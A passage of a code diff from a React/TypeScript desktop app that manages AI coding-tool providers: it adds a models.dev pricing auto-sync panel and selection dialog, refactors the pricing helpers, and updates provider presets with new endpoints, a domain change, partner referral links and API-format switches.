defaultValue: "Session logs are up to date",
}),
);
}
} catch {
toast.error(
t("usage.sessionSync.failed", {
defaultValue: "Session sync failed",
}),
);
} finally {
setSyncing(false);
}
};
if (!sources || sources.length === 0) {
return null;
}
const hasNonProxy = sources.some((s) => s.dataSource !== "proxy");
return (
<div className="flex items-center gap-3 text-xs text-muted-foreground bg-muted/30 rounded-lg px-4 py-2">
<span className="font-medium text-foreground/70">
{t("usage.dataSources", { defaultValue: "Data Sources" })}:
</span>
<div className="flex items-center gap-3 flex-wrap">
{sources.map((source) => (
<div
key={source.dataSource}
className="flex items-center gap-1.5 bg-background/50 rounded-md px-2 py-1"
>
{DATA_SOURCE_ICONS[source.dataSource] ?? (
<Database className="h-3.5 w-3.5" />
)}
<span>
{t(`usage.dataSource.${source.dataSource}`, {
defaultValue: source.dataSource,
})}
</span>
<span className="font-mono font-medium text-foreground/80">
{source.requestCount.toLocaleString()}
</span>
</div>
))}
</div>
<div className="ml-auto">
<Button
variant="ghost"
size="sm"
className="h-7 px-2 text-xs"
onClick={handleSync}
disabled={syncing}
title={t("usage.sessionSync.trigger", {
defaultValue: "Sync session logs",
})}
>
{syncing ? (
<Loader2 className="h-3.5 w-3.5 animate-spin" />
) : (
<RefreshCw className="h-3.5 w-3.5" />
)}
<span className="ml-1">
{hasNonProxy
? t("usage.sessionSync.resync", { defaultValue: "Sync" })
: t("usage.sessionSync.import", {
defaultValue: "Import Sessions",
})}
</span>
</Button>
</div>
</div>
);
}
@@ -0,0 +1,668 @@
import { useMemo, useState } from "react";
import { useTranslation } from "react-i18next";
import { useQuery, useQueryClient } from "@tanstack/react-query";
import { toast } from "sonner";
import {
Check,
FolderOpen,
Loader2,
RefreshCw,
Search,
Settings2,
} from "lucide-react";
import { Alert, AlertDescription } from "@/components/ui/alert";
import { Button } from "@/components/ui/button";
import { ConfirmDialog } from "@/components/ConfirmDialog";
import {
Dialog,
DialogContent,
DialogDescription,
DialogFooter,
DialogHeader,
DialogTitle,
} from "@/components/ui/dialog";
import { Input } from "@/components/ui/input";
import {
Select,
SelectContent,
SelectItem,
SelectTrigger,
SelectValue,
} from "@/components/ui/select";
import { Switch } from "@/components/ui/switch";
import { settingsApi } from "@/lib/api/settings";
import { usageApi } from "@/lib/api/usage";
import {
MODELS_DEV_SYNC_CONFIG_QUERY_KEY,
syncModelsDevPricing,
} from "@/lib/modelsDevAutoSync";
import {
fetchModelsDevPricing,
flattenModels,
formatPrice,
getCommonModelKeys,
type ModelsDevEntry,
} from "@/lib/modelsDevPricing";
import { usageKeys } from "@/lib/query/usage";
import type { ModelsDevSyncConfig, ModelsDevSyncState } from "@/types/usage";
import { isTextEditableTarget } from "@/utils/domUtils";
const MODELS_DEV_QUERY_KEY = ["models-dev-pricing"] as const;
const DEFAULT_VISIBLE_ROWS = 80;
const MAX_VISIBLE_ROWS = 300;
interface AutoSyncDialogProps {
state: ModelsDevSyncState;
onClose: () => void;
onSaved: (state: ModelsDevSyncState) => void;
}
function AutoSyncDialog({ state, onClose, onSaved }: AutoSyncDialogProps) {
const { t } = useTranslation();
const [search, setSearch] = useState("");
const [providerFilter, setProviderFilter] = useState("all");
const [includeCommonModels, setIncludeCommonModels] = useState(
state.config.includeCommonModels,
);
const [selectedModelKeys, setSelectedModelKeys] = useState(
() => new Set(state.config.selectedModelKeys),
);
const [excludedCommonModelKeys, setExcludedCommonModelKeys] = useState(
() => new Set(state.config.excludedCommonModelKeys),
);
const [isSaving, setIsSaving] = useState(false);
const { data, isLoading, error, refetch } = useQuery({
queryKey: MODELS_DEV_QUERY_KEY,
queryFn: fetchModelsDevPricing,
staleTime: 60 * 60 * 1000,
retry: 1,
});
const entries = useMemo(() => (data ? flattenModels(data) : []), [data]);
const commonModelKeys = useMemo(() => getCommonModelKeys(entries), [entries]);
const effectiveSelectedKeys = useMemo(() => {
const selected = new Set(selectedModelKeys);
if (includeCommonModels) {
for (const key of commonModelKeys) {
if (!excludedCommonModelKeys.has(key)) selected.add(key);
}
}
return selected;
}, [
commonModelKeys,
excludedCommonModelKeys,
includeCommonModels,
selectedModelKeys,
]);
const providers = useMemo(() => {
const map = new Map<string, string>();
for (const entry of entries) {
if (!map.has(entry.providerId)) {
map.set(entry.providerId, entry.providerName);
}
}
return Array.from(map, ([id, name]) => ({ id, name })).sort((a, b) =>
a.name.localeCompare(b.name),
);
}, [entries]);
const isFiltering = search.trim() !== "" || providerFilter !== "all";
const filtered = useMemo(() => {
const query = search.trim().toLowerCase();
return entries.filter(
(entry) =>
(providerFilter === "all" || entry.providerId === providerFilter) &&
(!query ||
entry.modelId.toLowerCase().includes(query) ||
entry.normalizedId.includes(query) ||
entry.modelName.toLowerCase().includes(query) ||
entry.providerName.toLowerCase().includes(query)),
);
}, [entries, providerFilter, search]);
const visible = useMemo(
() =>
filtered.slice(0, isFiltering ? MAX_VISIBLE_ROWS : DEFAULT_VISIBLE_ROWS),
[filtered, isFiltering],
);
const toggleEntry = (entry: ModelsDevEntry) => {
const isSelected = effectiveSelectedKeys.has(entry.key);
setSelectedModelKeys((previous) => {
const next = new Set(previous);
if (isSelected) next.delete(entry.key);
else next.add(entry.key);
return next;
});
setExcludedCommonModelKeys((previous) => {
const next = new Set(previous);
if (isSelected && includeCommonModels && commonModelKeys.has(entry.key)) {
next.add(entry.key);
} else {
next.delete(entry.key);
}
return next;
});
};
const selectFiltered = () => {
setSelectedModelKeys((previous) => {
const next = new Set(previous);
for (const entry of filtered) next.add(entry.key);
return next;
});
setExcludedCommonModelKeys((previous) => {
const next = new Set(previous);
for (const entry of filtered) next.delete(entry.key);
return next;
});
};
const clearFiltered = () => {
setSelectedModelKeys((previous) => {
const next = new Set(previous);
for (const entry of filtered) next.delete(entry.key);
return next;
});
if (includeCommonModels) {
setExcludedCommonModelKeys((previous) => {
const next = new Set(previous);
for (const entry of filtered) {
if (commonModelKeys.has(entry.key)) next.add(entry.key);
}
return next;
});
}
};
const save = async () => {
setIsSaving(true);
try {
const config: ModelsDevSyncConfig = {
...state.config,
includeCommonModels,
selectedModelKeys: Array.from(selectedModelKeys).sort(),
excludedCommonModelKeys: Array.from(excludedCommonModelKeys).sort(),
};
await usageApi.saveModelsDevSyncConfig(config);
onSaved({ ...state, config });
toast.success(t("usage.modelsDevAutoSync.selectionSaved"));
onClose();
} catch (saveError) {
toast.error(String(saveError));
} finally {
setIsSaving(false);
}
};
const priceColumns = (entry: ModelsDevEntry) =>
[
{ label: t("usage.inputCost"), value: entry.input },
{ label: t("usage.outputCost"), value: entry.output },
{ label: t("usage.cacheReadCost"), value: entry.cacheRead },
{ label: t("usage.cacheWriteCost"), value: entry.cacheWrite },
] as const;
return (
<Dialog open onOpenChange={(open) => !open && !isSaving && onClose()}>
<DialogContent
zIndex="top"
className="max-w-4xl h-[84vh]"
onEscapeKeyDown={(event) => {
if (isTextEditableTarget(event.target)) event.preventDefault();
}}
>
<DialogHeader>
<DialogTitle>
{t("usage.modelsDevAutoSync.configureTitle")}
</DialogTitle>
<DialogDescription>
{t("usage.modelsDevAutoSync.configureDescription")}
</DialogDescription>
</DialogHeader>
<div className="flex flex-1 min-h-0 flex-col gap-3 px-6 py-4">
<div className="flex items-center justify-between gap-4 rounded-lg border border-border/50 bg-muted/20 px-3 py-2.5">
<div>
<div className="text-sm font-medium">
{t("usage.modelsDevAutoSync.commonModels")}
</div>
<div className="text-xs text-muted-foreground">
{t("usage.modelsDevAutoSync.commonModelsDescription", {
count: commonModelKeys.size,
})}
</div>
</div>
<Switch
checked={includeCommonModels}
onCheckedChange={setIncludeCommonModels}
aria-label={t("usage.modelsDevAutoSync.commonModels")}
/>
</div>
{isLoading ? (
<div className="flex flex-1 items-center justify-center">
<Loader2 className="h-6 w-6 animate-spin text-muted-foreground" />
</div>
) : error ? (
<Alert variant="destructive">
<AlertDescription className="flex items-center justify-between gap-3">
<span>
{t("usage.modelsDevLoadError")}: {String(error)}
</span>
<Button variant="outline" size="sm" onClick={() => refetch()}>
{t("usage.modelsDevRetry")}
</Button>
</AlertDescription>
</Alert>
) : (
<>
<div className="flex items-center gap-2">
<Select
value={providerFilter}
onValueChange={setProviderFilter}
>
<SelectTrigger className="w-48 shrink-0">
<SelectValue />
</SelectTrigger>
<SelectContent className="z-[120] max-h-[min(24rem,var(--radix-select-content-available-height))]">
<SelectItem value="all">
{t("usage.modelsDevAllProviders")}
</SelectItem>
{providers.map((provider) => (
<SelectItem key={provider.id} value={provider.id}>
{provider.name}
</SelectItem>
))}
</SelectContent>
</Select>
<div className="relative flex-1">
<Search className="absolute left-2.5 top-1/2 h-4 w-4 -translate-y-1/2 text-muted-foreground" />
<Input
value={search}
onChange={(event) => setSearch(event.target.value)}
placeholder={t("usage.modelsDevSearchPlaceholder")}
className="pl-8"
/>
</div>
<Button
variant="outline"
size="sm"
onClick={selectFiltered}
disabled={filtered.length === 0}
>
{t("usage.modelsDevAutoSync.selectFiltered", {
count: filtered.length,
})}
</Button>
<Button
variant="outline"
size="sm"
onClick={clearFiltered}
disabled={filtered.length === 0}
>
{t("usage.modelsDevAutoSync.clearFiltered")}
</Button>
</div>
<div className="flex items-center justify-between text-xs text-muted-foreground">
<span>
{t("usage.modelsDevAutoSync.selectedCount", {
count: effectiveSelectedKeys.size,
})}
</span>
<span>{t("usage.modelsDevAutoSync.selectionHint")}</span>
</div>
<div className="flex-1 min-h-0 overflow-y-auto rounded-md border border-border/50">
{filtered.length === 0 ? (
<div className="flex h-full items-center justify-center py-8 text-sm text-muted-foreground">
{t("usage.modelsDevNoResults")}
</div>
) : (
<div className="divide-y divide-border/30">
{visible.map((entry) => {
const selected = effectiveSelectedKeys.has(entry.key);
const common = commonModelKeys.has(entry.key);
return (
<button
key={entry.key}
type="button"
aria-pressed={selected}
onClick={() => toggleEntry(entry)}
className={`flex w-full items-center gap-3 px-3 py-2 text-left ${
selected ? "bg-accent/50" : "hover:bg-muted/40"
}`}
>
<span
className={`flex h-4 w-4 shrink-0 items-center justify-center rounded border ${
selected
? "border-primary bg-primary text-primary-foreground"
: "border-muted-foreground/50"
}`}
>
{selected && <Check className="h-3 w-3" />}
</span>
<div className="min-w-0 flex-1">
<div className="flex items-center gap-2">
<span className="truncate text-sm font-medium">
{entry.modelName}
</span>
<span className="shrink-0 text-xs text-muted-foreground">
{entry.providerName}
</span>
{common && (
<span className="rounded bg-primary/10 px-1.5 py-0.5 text-[10px] text-primary">
{t("usage.modelsDevAutoSync.commonBadge")}
</span>
)}
{entry.releaseDate && (
<span className="shrink-0 text-[10px] text-muted-foreground/70">
{entry.releaseDate}
</span>
)}
</div>
<div
className="truncate font-mono text-xs text-muted-foreground"
title={entry.modelId}
>
{entry.normalizedId}
</div>
</div>
<div className="flex shrink-0 gap-3 text-right">
{priceColumns(entry).map((column) => (
<div key={column.label} className="w-16">
<div className="text-[10px] text-muted-foreground">
{column.label}
</div>
<div className="font-mono text-xs">
${formatPrice(column.value)}
</div>
</div>
))}
</div>
</button>
);
})}
{filtered.length > visible.length && (
<div className="px-3 py-2 text-center text-xs text-muted-foreground">
{isFiltering
? t("usage.modelsDevTruncated", {
shown: visible.length,
total: filtered.length,
})
: t("usage.modelsDevDefaultHint", {
shown: visible.length,
total: filtered.length,
})}
</div>
)}
</div>
)}
</div>
</>
)}
</div>
<DialogFooter>
<Button variant="outline" onClick={onClose} disabled={isSaving}>
{t("common.cancel")}
</Button>
<Button onClick={save} disabled={isSaving || isLoading || !!error}>
{isSaving && <Loader2 className="mr-2 h-4 w-4 animate-spin" />}
{t("common.save")}
</Button>
</DialogFooter>
</DialogContent>
</Dialog>
);
}
export function ModelsDevAutoSyncPanel() {
const { t, i18n } = useTranslation();
const queryClient = useQueryClient();
const [isDialogOpen, setIsDialogOpen] = useState(false);
const [isSaving, setIsSaving] = useState(false);
const [isSyncing, setIsSyncing] = useState(false);
const [isReloading, setIsReloading] = useState(false);
const [showEnableConfirm, setShowEnableConfirm] = useState(false);
const { data, isLoading, error, refetch } = useQuery({
queryKey: MODELS_DEV_SYNC_CONFIG_QUERY_KEY,
queryFn: usageApi.getModelsDevSyncConfig,
staleTime: Number.POSITIVE_INFINITY,
});
const updateCachedState = (state: ModelsDevSyncState) => {
queryClient.setQueryData(MODELS_DEV_SYNC_CONFIG_QUERY_KEY, state);
};
const saveConfig = async (config: ModelsDevSyncConfig) => {
if (!data) return;
setIsSaving(true);
try {
await usageApi.saveModelsDevSyncConfig(config);
updateCachedState({ ...data, config });
} catch (saveError) {
toast.error(String(saveError));
} finally {
setIsSaving(false);
}
};
const syncNow = async () => {
if (!data) return;
setIsSyncing(true);
try {
const result = await syncModelsDevPricing(data, true);
await Promise.all([
refetch(),
queryClient.invalidateQueries({ queryKey: usageKeys.all }),
]);
toast.success(
t("usage.modelsDevAutoSync.syncSuccess", {
imported: result.imported,
changed: result.changed,
}),
);
} catch (syncError) {
await refetch();
toast.error(
t("usage.modelsDevAutoSync.syncFailed", { error: String(syncError) }),
);
} finally {
setIsSyncing(false);
}
};
const reloadLocalFile = async () => {
setIsReloading(true);
try {
await usageApi.getModelPricing();
await Promise.all([
refetch(),
queryClient.invalidateQueries({ queryKey: usageKeys.all }),
]);
toast.success(t("usage.modelsDevAutoSync.localFileReloaded"));
} catch (reloadError) {
toast.error(
t("usage.modelsDevAutoSync.localFileReloadFailed", {
error: String(reloadError),
}),
);
} finally {
setIsReloading(false);
}
};
const openLocalFileFolder = async () => {
try {
await settingsApi.openAppConfigFolder();
} catch (openError) {
toast.error(
t("usage.modelsDevAutoSync.openFolderFailed", {
error: String(openError),
}),
);
}
};
if (isLoading) {
return (
<div className="flex items-center justify-center rounded-lg border border-border/50 py-6">
<Loader2 className="h-5 w-5 animate-spin text-muted-foreground" />
</div>
);
}
if (error || !data) {
return (
<Alert variant="destructive">
<AlertDescription className="flex items-center justify-between gap-3">
<span>
{t("usage.modelsDevAutoSync.configLoadFailed", {
error: String(error),
})}
</span>
<Button variant="outline" size="sm" onClick={() => refetch()}>
{t("usage.modelsDevRetry")}
</Button>
</AlertDescription>
</Alert>
);
}
const lastSync = data.config.lastSyncAt
? new Date(data.config.lastSyncAt).toLocaleString(i18n.resolvedLanguage)
: t("usage.modelsDevAutoSync.neverSynced");
const handleAutoSyncChange = (autoSyncEnabled: boolean) => {
if (autoSyncEnabled) {
setShowEnableConfirm(true);
return;
}
void saveConfig({ ...data.config, autoSyncEnabled: false });
};
return (
<>
<div className="space-y-3 rounded-lg border border-border/50 bg-muted/15 p-4">
<div className="flex items-start justify-between gap-4">
<div>
<h5 className="text-sm font-medium">
{t("usage.modelsDevAutoSync.title")}
</h5>
<p className="mt-0.5 text-xs text-muted-foreground">
{t("usage.modelsDevAutoSync.description")}
</p>
</div>
<div className="flex items-center gap-2">
<span className="text-xs text-muted-foreground">
{data.config.autoSyncEnabled
? t("usage.modelsDevAutoSync.enabled")
: t("usage.modelsDevAutoSync.disabled")}
</span>
<Switch
checked={data.config.autoSyncEnabled}
disabled={isSaving}
onCheckedChange={handleAutoSyncChange}
aria-label={t("usage.modelsDevAutoSync.title")}
/>
</div>
</div>
<div className="grid gap-2 text-xs text-muted-foreground md:grid-cols-2">
<div>
{t("usage.modelsDevAutoSync.lastSync")}: {lastSync}
</div>
<div>
{t("usage.modelsDevAutoSync.commonStatus")}:{" "}
{data.config.includeCommonModels
? t("usage.modelsDevAutoSync.enabled")
: t("usage.modelsDevAutoSync.disabled")}
</div>
</div>
{data.config.lastSyncError && (
<Alert variant="destructive">
<AlertDescription>
{t("usage.modelsDevAutoSync.lastError", {
error: data.config.lastSyncError,
})}
</AlertDescription>
</Alert>
)}
<div className="rounded-md bg-background/60 px-3 py-2">
<div className="text-[11px] text-muted-foreground">
{t("usage.modelsDevAutoSync.localFile")}
</div>
<div className="truncate font-mono text-xs" title={data.configPath}>
{data.configPath}
</div>
</div>
<div className="flex flex-wrap justify-end gap-2">
<Button
variant="outline"
size="sm"
onClick={() => void openLocalFileFolder()}
>
<FolderOpen className="mr-1.5 h-3.5 w-3.5" />
{t("usage.modelsDevAutoSync.openFolder")}
</Button>
<Button
variant="outline"
size="sm"
onClick={() => void reloadLocalFile()}
disabled={isReloading}
>
{isReloading ? (
<Loader2 className="mr-1.5 h-3.5 w-3.5 animate-spin" />
) : (
<RefreshCw className="mr-1.5 h-3.5 w-3.5" />
)}
{t("usage.modelsDevAutoSync.reloadLocalFile")}
</Button>
<Button
variant="outline"
size="sm"
onClick={() => setIsDialogOpen(true)}
>
<Settings2 className="mr-1.5 h-3.5 w-3.5" />
{t("usage.modelsDevAutoSync.configure")}
</Button>
<Button size="sm" onClick={() => void syncNow()} disabled={isSyncing}>
{isSyncing ? (
<Loader2 className="mr-1.5 h-3.5 w-3.5 animate-spin" />
) : (
<RefreshCw className="mr-1.5 h-3.5 w-3.5" />
)}
{t("usage.modelsDevAutoSync.syncNow")}
</Button>
</div>
</div>
{isDialogOpen && (
<AutoSyncDialog
state={data}
onClose={() => setIsDialogOpen(false)}
onSaved={updateCachedState}
/>
)}
<ConfirmDialog
isOpen={showEnableConfirm}
title={t("usage.modelsDevAutoSync.enableConfirmTitle")}
message={t("usage.modelsDevAutoSync.enableConfirmMessage")}
confirmText={t("usage.modelsDevAutoSync.enableConfirmAction")}
variant="destructive"
onConfirm={() => {
setShowEnableConfirm(false);
void saveConfig({ ...data.config, autoSyncEnabled: true });
}}
onCancel={() => setShowEnableConfirm(false)}
/>
</>
);
}
+13 -109
View File
@@ -22,114 +22,24 @@ import {
SelectValue,
} from "@/components/ui/select";
import { useUpdateModelPricing } from "@/lib/query/usage";
import {
fetchModelsDevPricing,
flattenModels,
formatPrice,
type ModelsDevEntry,
} from "@/lib/modelsDevPricing";
import { isTextEditableTarget } from "@/utils/domUtils";
const MODELS_DEV_API_URL = "https://models.dev/api.json";
export {
flattenModels,
formatPrice,
normalizeModelIdForPricing,
} from "@/lib/modelsDevPricing";
// 全量约 5000 条:默认只展示最新发布的一批,搜索时才做全量匹配
const DEFAULT_VISIBLE_ROWS = 50;
const MAX_VISIBLE_ROWS = 200;
interface ModelsDevCost {
input?: number;
output?: number;
cache_read?: number;
cache_write?: number;
}
interface ModelsDevModel {
id?: string;
name?: string;
release_date?: string;
cost?: ModelsDevCost;
}
interface ModelsDevProvider {
id?: string;
name?: string;
models?: Record<string, ModelsDevModel>;
}
type ModelsDevResponse = Record<string, ModelsDevProvider>;
interface ModelsDevEntry {
/** providerId/modelId,同一模型可能出现在多个供应商下 */
key: string;
providerId: string;
providerName: string;
modelId: string;
/** 实际入库的 ID,与后端 clean_model_id_for_pricing 的归一化规则一致 */
normalizedId: string;
modelName: string;
/** YYYY-MM-DD 或 YYYY-MM,缺失时为空串 */
releaseDate: string;
input: number;
output: number;
cacheRead: number;
cacheWrite: number;
}
/**
* clean_model_id_for_pricingusage_stats.rs
* '/' ':' '@' '-' [1m]
* ID
*/
export function normalizeModelIdForPricing(modelId: string): string {
const afterSlash = modelId.slice(modelId.lastIndexOf("/") + 1);
const beforeColon = afterSlash.split(":")[0] ?? "";
let normalized = beforeColon.trim().replace(/@/g, "-").toLowerCase();
if (normalized.endsWith("[1m]")) {
normalized = normalized.slice(0, -"[1m]".length).trim();
}
return normalized;
}
/** 转成后端可解析的非负十进制字符串(不能用 String(),小数可能变成科学计数法) */
export function formatPrice(value: number): string {
if (!Number.isFinite(value) || value <= 0) return "0";
// toFixed 对 >=1e21 会退化成科学计数法;这种量级的"价格"只可能是脏数据,按 0 处理
if (value >= 1e12) return "0";
const trimmed = value.toFixed(6).replace(/0+$/, "").replace(/\.$/, "");
return trimmed || "0";
}
export function flattenModels(data: ModelsDevResponse): ModelsDevEntry[] {
const entries: ModelsDevEntry[] = [];
for (const [providerId, provider] of Object.entries(data)) {
if (!provider || typeof provider !== "object") continue;
const providerName = provider.name || providerId;
for (const [modelId, model] of Object.entries(provider.models ?? {})) {
const cost = model?.cost;
const input = typeof cost?.input === "number" ? cost.input : null;
const output = typeof cost?.output === "number" ? cost.output : null;
if (input === null && output === null) continue;
const normalizedId = normalizeModelIdForPricing(modelId);
if (!normalizedId) continue;
entries.push({
key: `${providerId}/${modelId}`,
providerId,
providerName,
modelId,
normalizedId,
modelName: model?.name || modelId,
releaseDate:
typeof model?.release_date === "string" ? model.release_date : "",
input: input ?? 0,
output: output ?? 0,
cacheRead: typeof cost?.cache_read === "number" ? cost.cache_read : 0,
cacheWrite:
typeof cost?.cache_write === "number" ? cost.cache_write : 0,
});
}
}
// 最新发布的排在前面
entries.sort(
(a, b) =>
b.releaseDate.localeCompare(a.releaseDate) ||
a.modelName.localeCompare(b.modelName),
);
return entries;
}
interface ModelsDevPickerDialogProps {
open: boolean;
onClose: () => void;
@@ -160,13 +70,7 @@ export function ModelsDevPickerDialog({
const { data, isLoading, error, refetch } = useQuery({
queryKey: ["models-dev-pricing"],
queryFn: async (): Promise<ModelsDevResponse> => {
const res = await fetch(MODELS_DEV_API_URL);
if (!res.ok) {
throw new Error(`HTTP ${res.status}`);
}
return res.json();
},
queryFn: fetchModelsDevPricing,
enabled: open,
staleTime: 60 * 60 * 1000,
retry: 1,
@@ -32,6 +32,7 @@ import { isNonNegativeDecimalString, type ModelPricing } from "@/types/usage";
import { Plus, Pencil, Trash2, Loader2 } from "lucide-react";
import { toast } from "sonner";
import { proxyApi } from "@/lib/api/proxy";
import { ModelsDevAutoSyncPanel } from "./ModelsDevAutoSyncPanel";
const PRICING_APPS = ["claude", "codex", "gemini", "grokbuild"] as const;
type PricingApp = (typeof PRICING_APPS)[number];
@@ -341,6 +342,8 @@ export function PricingConfigPanel() {
{/* 模型定价配置 */}
<div className="space-y-4">
<ModelsDevAutoSyncPanel />
<div className="flex items-center justify-between">
<h4 className="text-sm font-medium text-muted-foreground">
{t("usage.modelPricingDesc")} {t("usage.perMillion")}
+23 -5
View File
@@ -191,7 +191,12 @@ export const claudeDesktopProviderPresets: ClaudeDesktopProviderPreset[] = [
mode: "direct",
apiFormat: "anthropic",
modelRoutes: passthroughRoutes(),
endpointCandidates: ["https://www.packyapi.ai"],
endpointCandidates: [
"https://www.packyapi.ai",
"https://cf.api.fan",
"https://slb-v1.api.fan",
"https://www.packyapi.com",
],
isPartner: true,
partnerPromotionKey: "packycode",
icon: "packycode",
@@ -311,14 +316,14 @@ export const claudeDesktopProviderPresets: ClaudeDesktopProviderPreset[] = [
},
{
name: "AIGoCode",
websiteUrl: "https://aigocode.com",
apiKeyUrl: "https://aigocode.com/invite/CC-SWITCH",
websiteUrl: "https://aigocode.app",
apiKeyUrl: "https://aigocode.app/invite/CC-SWITCH",
category: "third_party",
baseUrl: "https://api.aigocode.com",
baseUrl: "https://api.aigocode.app",
mode: "direct",
apiFormat: "anthropic",
modelRoutes: passthroughRoutes(),
endpointCandidates: ["https://api.aigocode.com"],
endpointCandidates: ["https://api.aigocode.app"],
isPartner: true,
partnerPromotionKey: "aigocode",
icon: "aigocode",
@@ -528,6 +533,19 @@ export const claudeDesktopProviderPresets: ClaudeDesktopProviderPreset[] = [
partnerPromotionKey: "nekocode",
icon: "nekocode",
},
{
name: "A6API",
websiteUrl: "https://www.a6api.com",
apiKeyUrl: "https://a6api.com/register?aff=AqNr",
category: "aggregator",
baseUrl: "https://api.a6api.com",
mode: "direct",
apiFormat: "anthropic",
modelRoutes: passthroughRoutes(),
isPartner: true,
partnerPromotionKey: "a6api",
icon: "a6api",
},
{
name: "AtlasCloud",
websiteUrl: "https://www.atlascloud.ai/console/coding-plan",
+25 -5
View File
@@ -144,7 +144,12 @@ export const providerPresets: ProviderPreset[] = [
},
},
// 请求地址候选(用于地址管理/测速)
endpointCandidates: ["https://www.packyapi.ai"],
endpointCandidates: [
"https://www.packyapi.ai",
"https://cf.api.fan",
"https://slb-v1.api.fan",
"https://www.packyapi.com",
],
category: "third_party",
isPartner: true, // 合作伙伴
partnerPromotionKey: "packycode", // 促销信息 i18n key
@@ -283,16 +288,16 @@ export const providerPresets: ProviderPreset[] = [
},
{
name: "AIGoCode",
websiteUrl: "https://aigocode.com",
apiKeyUrl: "https://aigocode.com/invite/CC-SWITCH",
websiteUrl: "https://aigocode.app",
apiKeyUrl: "https://aigocode.app/invite/CC-SWITCH",
settingsConfig: {
env: {
ANTHROPIC_BASE_URL: "https://api.aigocode.com",
ANTHROPIC_BASE_URL: "https://api.aigocode.app",
ANTHROPIC_AUTH_TOKEN: "",
},
},
// 请求地址候选(用于地址管理/测速)
endpointCandidates: ["https://api.aigocode.com"],
endpointCandidates: ["https://api.aigocode.app"],
category: "third_party",
isPartner: true, // 合作伙伴
partnerPromotionKey: "aigocode", // 促销信息 i18n key
@@ -532,6 +537,21 @@ export const providerPresets: ProviderPreset[] = [
partnerPromotionKey: "nekocode",
icon: "nekocode",
},
{
name: "A6API",
websiteUrl: "https://www.a6api.com",
apiKeyUrl: "https://a6api.com/register?aff=AqNr",
settingsConfig: {
env: {
ANTHROPIC_BASE_URL: "https://api.a6api.com",
ANTHROPIC_AUTH_TOKEN: "",
},
},
category: "aggregator",
isPartner: true,
partnerPromotionKey: "a6api",
icon: "a6api",
},
{
name: "AtlasCloud",
websiteUrl: "https://www.atlascloud.ai/console/coding-plan",
+86 -17
View File
@@ -205,7 +205,12 @@ export const codexProviderPresets: CodexProviderPreset[] = [
"https://www.packyapi.ai/v1",
"gpt-5.6-sol",
),
endpointCandidates: ["https://www.packyapi.ai/v1"],
endpointCandidates: [
"https://www.packyapi.ai/v1",
"https://cf.api.fan/v1",
"https://slb-v1.api.fan/v1",
"https://www.packyapi.com/v1",
],
isPartner: true, // 合作伙伴
partnerPromotionKey: "packycode", // 促销信息 i18n key
icon: "packycode",
@@ -349,16 +354,16 @@ requires_openai_auth = true`,
},
{
name: "AIGoCode",
websiteUrl: "https://aigocode.com",
apiKeyUrl: "https://aigocode.com/invite/CC-SWITCH",
websiteUrl: "https://aigocode.app",
apiKeyUrl: "https://aigocode.app/invite/CC-SWITCH",
category: "third_party",
auth: generateThirdPartyAuth(""),
config: generateThirdPartyConfig(
"aigocode",
"https://api.aigocode.com",
"https://api.aigocode.app",
"gpt-5.6-sol",
),
endpointCandidates: ["https://api.aigocode.com"],
endpointCandidates: ["https://api.aigocode.app"],
isPartner: true, // 合作伙伴
partnerPromotionKey: "aigocode", // 促销信息 i18n key
icon: "aigocode",
@@ -482,8 +487,12 @@ requires_openai_auth = true`,
"https://ark.cn-beijing.volces.com/api/coding/v3",
"ark-code-latest",
),
// ⚠️ 计费红线(官方 warning):Coding Plan 必须走 /api/coding/v3
// 填按量端点 /api/v3 不消耗套餐额度、按量另计费,绝不能混入候选
endpointCandidates: ["https://ark.cn-beijing.volces.com/api/coding/v3"],
apiFormat: "openai_chat",
// 官方 Codex 文档(volcengine.com/docs/82379/25560562026-07 更新):
// Coding Plan /api/coding/v3 已支持 Responses APIwire_api=responses),无需路由接管转换
apiFormat: "openai_responses",
modelCatalog: modelCatalog([
{
model: "ark-code-latest",
@@ -512,6 +521,8 @@ requires_openai_auth = true`,
endpointCandidates: [
"https://ark.ap-southeast.bytepluses.com/api/coding/v3",
],
// 国内站 coding/v3 已切原生 Responses(见 火山Agentplan),但 BytePlus
// 国际站(bytepluses.com)文档未单独核实,暂保持 Chat 路由
apiFormat: "openai_chat",
modelCatalog: modelCatalog([
{
@@ -622,6 +633,22 @@ requires_openai_auth = true`,
partnerPromotionKey: "nekocode",
icon: "nekocode",
},
{
name: "A6API",
websiteUrl: "https://www.a6api.com",
apiKeyUrl: "https://a6api.com/register?aff=AqNr",
category: "aggregator",
auth: generateThirdPartyAuth(""),
config: generateThirdPartyConfig(
"a6api",
"https://api.a6api.com/v1",
"gpt-5.6-sol",
),
endpointCandidates: ["https://api.a6api.com/v1"],
isPartner: true,
partnerPromotionKey: "a6api",
icon: "a6api",
},
{
name: "AtlasCloud",
websiteUrl: "https://www.atlascloud.ai/console/coding-plan",
@@ -948,27 +975,25 @@ requires_openai_auth = true`,
"deepseek-v4-flash",
),
endpointCandidates: ["https://api.deepseek.com"],
apiFormat: "openai_chat",
// DeepSeek 官方 Codex 文档(api-docs.deepseek.com → agent_integrations/codex):
// deepseek-v4-flash 原生 Responseswire_api=responses 对自家 base_url),无需路由接管转换。
// 后端按 deepseek.com host 直接镜像官方 models.jsonfreeform apply_patch +
// GPT-5 harness + low/high/max 思考档,需 codex >= 0.144.0),这里只保留行清单与展示名。
apiFormat: "openai_responses",
modelCatalog: modelCatalog([
{
model: "deepseek-v4-flash",
displayName: "DeepSeek V4 Flash",
contextWindow: 1000000,
contextWindow: 1048576,
},
// 官方预计 2026-08 初开通 pro 的 Codex 集成(官方 models.json 已含该条目),
// 在那之前切到 pro 会上游报错
{
model: "deepseek-v4-pro",
displayName: "DeepSeek V4 Pro",
contextWindow: 1000000,
contextWindow: 1048576,
},
]),
codexChatReasoning: {
supportsThinking: true,
supportsEffort: true,
thinkingParam: "thinking",
effortParam: "reasoning_effort",
effortValueMode: "deepseek",
outputFormat: "reasoning_content",
},
category: "cn_official",
icon: "deepseek",
iconColor: "#1E88E5",
@@ -1074,6 +1099,50 @@ requires_openai_auth = true`,
icon: "bailian",
iconColor: "#624AFF",
},
{
name: "Tencent Hunyuan",
websiteUrl: "https://cloud.tencent.com/product/tokenhub",
apiKeyUrl: "https://console.cloud.tencent.com/tokenhub/apikey",
auth: generateThirdPartyAuth(""),
config: generateThirdPartyConfig(
"hy3_tokenhub",
"https://tokenhub.tencentmaas.com/v1",
"hy3",
),
// 官方备用域名 tencentmaas.cn(文档 1823/130078);国际站 tokenhub-intl
// 属不同地域,API Key 不跨站通用,不作候选
endpointCandidates: [
"https://tokenhub.tencentmaas.com/v1",
"https://tokenhub.tencentmaas.cn/v1",
],
